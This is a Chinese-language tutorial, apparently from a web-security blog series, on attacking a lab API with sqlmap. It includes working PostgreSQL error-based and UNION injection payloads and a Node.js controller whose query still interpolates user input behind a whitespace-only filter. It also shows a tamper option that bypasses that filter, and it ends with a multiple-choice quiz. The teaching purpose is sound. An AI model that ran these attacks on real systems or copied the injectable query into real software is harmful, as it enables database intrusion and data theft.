延續昨天提到的 SQL injection 資料庫注入的攻擊,今天探討兩個主題
sudo apt install sqlmap
sqlmap -u "http://nodelab.feifei.tw/api/articles/0"
兩種
a) 錯誤型注入(Error-based):
- 類型:PostgreSQL AND error-based - WHERE or HAVING clause
- Payload: AND 8865=CAST((CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (8865=8865) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(98)||CHR(107)||CHR(113)) AS NUMERIC)
b) UNION 查詢注入:
- 類型:Generic UNION query (NULL) - 6 columns
- Payload: UNION ALL SELECT NULL,(CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113))||...||CHR(113)),NULL,NULL,NULL,NULL-- TDLY
https://github.com/fei3363/ithelp_web_security_2024/commit/94e6c288de3ff8282816833933e8de7cf88294b2
web/controllers/articleController.js
getArticleSpace2Comment
function },
async getArticleSpace2Comment(req, res) {
const { id } = req.params;
try {
// 基本的安全檢查
if (!/^\d+$/.test(id)) {
// 檢查是否包含空格
if (/\s/.test(id)) {
return res.status(400).json({ message: '檢測到非法字串(空格)' });
}
// 執行查詢
const result = await db.query(`SELECT * FROM articles WHERE id = ${id}`);
if (result.rows.length === 0) {
return res.status(404).json({ message: '文章不存在' });
}
res.json(result.rows[0]);
} else {
// 如果是純數字,直接執行查詢
const result = await db.query(`SELECT * FROM articles WHERE id = ${id}`);
if (result.rows.length === 0) {
return res.status(404).json({ message: '文章不存在' });
}
res.json(result.rows[0]);
}
} catch (error) {
res.status(500).json({ error: error.message });
}
}
web/routes/articlesRouter.js
router.get('/space/:id', articleController.getArticleSpace2Comment);
sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1"
發現無法攻擊成功
sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1" --tamper=space2comment
-u:指定目標 URL。
--tamper=space2comment:使用 tamper 腳本將空格轉換為註解,以繞過可能的防護機制。
本教學探討了 SQL injection 攻擊的兩個主要方面:使用自動化工具 sqlmap 進行攻擊,以及實施基本過濾技術來防範攻擊。我們詳細介紹了 sqlmap 的安裝和使用過程,展示了它如何檢測和利用 SQL 注入漏洞。同時,我們也討論了一種簡單的防禦方法:過濾輸入中的空白字串。然而,我們發現這種方法可能被進階的 sqlmap 技術繞過,突顯了 SQL 注入防禦的複雜性。
sqlmap 主要用於什麼目的?
a) 網路掃描
b) 密碼破解
c) SQL 注入攻擊
d) 病毒檢測
解析:正確答案是 c) SQL 注入攻擊。sqlmap 是一款專門用於檢測和利用 SQL 注入漏洞的開源滲透測試工具。
在使用 sqlmap 時,為什麼工具會詢問多個問題?
a) 為了增加使用難度
b) 為了收集使用者資訊
c) 為了優化攻擊策略
d) 為了測試使用者的安全知識
解析:正確答案是 c) 為了優化攻擊策略。sqlmap 詢問這些問題是為了讓操作者能夠根據具體情況調整測試範圍和深度,從而更有效地進行 SQL 注入測試。
本教學中提到的簡單防禦方法是什麼?
a) 加密資料庫
b) 使用防火牆
c) 過濾輸入中的空白字串
d) 禁用資料庫存取
解析:正確答案是 c) 過濾輸入中的空白字串。教學中展示了一個透過檢測和過濾輸入中的空格來防禦 SQL 注入的方法。
使用 --tamper=space2comment
參數的目的是什麼?
a) 增加攻擊速度
b) 繞過空白字串過濾
c) 改變資料庫類型
d) 隱藏攻擊來源
解析:正確答案是 b) 繞過空白字串過濾。這個參數使用了一個 tamper 腳本,將空格轉換為註解,以此來繞過針對空白字串的過濾防護機制。
根據教學,下列哪項陳述是正確的?
a) 簡單的輸入過濾可以完全防止 SQL 注入攻擊
b) sqlmap 無法繞過基本的防禦措施
c) SQL 注入防禦是一個複雜的問題,需要多層防護
d) 使用 sqlmap 總是能成功進行攻擊
解析:正確答案是 c) SQL 注入防禦是一個複雜的問題,需要多層防護。教學展示了即使實施了基本的過濾,進階的 sqlmap 技術仍可能繞過防禦,說明了 SQL 注入防禦的複雜性。
安裝 sqlmap
sudo apt install sqlmap
使用 sqlmap 進行基本攻擊
sqlmap -u "http://nodelab.feifei.tw/api/articles/0"
實現輸入過濾
web/controllers/articleController.js
,新增 getArticleSpace2Comment
函數web/routes/articlesRouter.js
,新增新的路由測試過濾效果
sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1"
使用進階 sqlmap 技術
sqlmap -u "http://nodelab.feifei.tw/api/articles/space/1" --tamper=space2comment